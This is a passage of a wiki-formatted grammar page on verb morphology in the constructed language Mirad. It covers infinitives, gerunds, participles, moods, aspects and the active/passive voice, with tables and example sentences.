| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
::* '''Se kyitesa &lt;u&gt;von et puu&lt;/u&gt; jwo.'''....''It's important &lt;u&gt;that you not arrive&lt;/u&gt; late.'' ('''''negative subjunctive''''')
: Hypothetical verb forms ending in '''-u''' can be interpreted in various ways, depending on the following syntactical patterns in the sentence:
::* Generally, if a verb form ending in '''-u''' begins a sentence and has no subject, then it is an IMPERATIVE (a command).  For example, '''Ipu!''', ''Go away!''.
::* If the verb form has a subject not preceded by the complementizers '''van''', '''ven''', or '''von''', then it is probably a conditional predicate like '''At fu per.'''....''I &lt;u&gt;would like&lt;/u&gt; to go.''.
::* If the subject of the verb is preceded by '''ven'''....''if'', then it is a conditional clause as in '''Ven at &lt;u&gt;su&lt;/u&gt; nasikat...'''....''If I &lt;u&gt;were&lt;/u&gt; a rich man.''.
::* If the subject is preceded by '''Van'''....''that/let/may'' or '''von'''....''don't'', then it is a hortative wish like '''Van et yagteju.'''....''May you live long.'' or a jussive suggestion like '''Van yat fyadilu.'''....''Let us pray.'' or a prohibition like '''Von tiliu his!'''....''Don't drink this!''.

=== Voices ===

: Mirad has four voices:
::* Active
::* Passive
::* Reflexive
::* Reciprocal.

==== Active Voice ====
: The default voice is active, i.e. the subject of the verb is doing the action.
::* '''At teata ha kyes.'''....''I saw the event.''

==== Passive Voice ====
: A verb form is converted from active to passive by inserting a '''w''' just after the stem of the verb form.  The past passive particle ending '''-waa''' is usually abbreviated to '''-wa''' (''done'' is '''xwa''').
: The following chart shows the distinction between active and passive voice of various verbs:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:4.8em&quot;
|+ Contrasting Active and Passive Voice
! Verb Form !! Active !! Active&lt;br&gt;Example !! Passive !! Passive&lt;br&gt;Example
|-
!row=1| Infinitive 
| '''xer'''&lt;br&gt;''to do'' || '''At fe xer fi.'''&lt;br&gt;''I want to do well.'' || '''xwer'''&lt;br&gt;''to be done'' || '''Ese hyos xwer.'''&lt;br&gt;''There is nothing to be done.''
|-
!row=1| Present Participle 
| '''sexea'''&lt;br&gt;''constructing'' || '''Ha nunxob sexea hia tom...'''&lt;br&gt;''The firm constructing this building...''|| '''sexewa'''&lt;br&gt;''being constructed'' || '''His se sexewa.'''&lt;br&gt;''This is under construction.''
|-
!row=1| Present
| '''xe'''&lt;br&gt;''do/does'' ||'''At xe fi be tixam.'''&lt;br&gt;''I do well in school.'' || '''xwe'''&lt;br&gt;''is done'' || '''Huyenasi hoj xwe.'''&lt;br&gt;''Such things are never done.''
|-
!row=1| Past Participle
| '''xaa'''&lt;br&gt;''having done'' || '''Iyt, xaa hya iyta yex,...'''&lt;br&gt;''She, having done all her work,...'' ||'''xwa'''&lt;br&gt;''done'' || '''Hyas se xwa.'''&lt;br&gt;''Everything is done.''
|-
!row=1| Past 
| '''tojba'''&lt;br&gt;''killed'' || '''Duhot tojba hwut?'''&lt;br&gt;''Who killed that guy?'' || '''tojbwa'''&lt;br&gt;''was killed'' || '''Duhoj wit tojbwa?'''&lt;br&gt;''When was he killed?''
|-
!row=1| Hypothetical
| '''bakxu'''&lt;br&gt;''heal''   || '''Bakxu at!'''&lt;br&gt;''Heal me!'' || '''bakxwu'''&lt;br&gt;''be healed'' || '''Van iyt bakxwu.'''&lt;br&gt;''May she be healed.''
|}
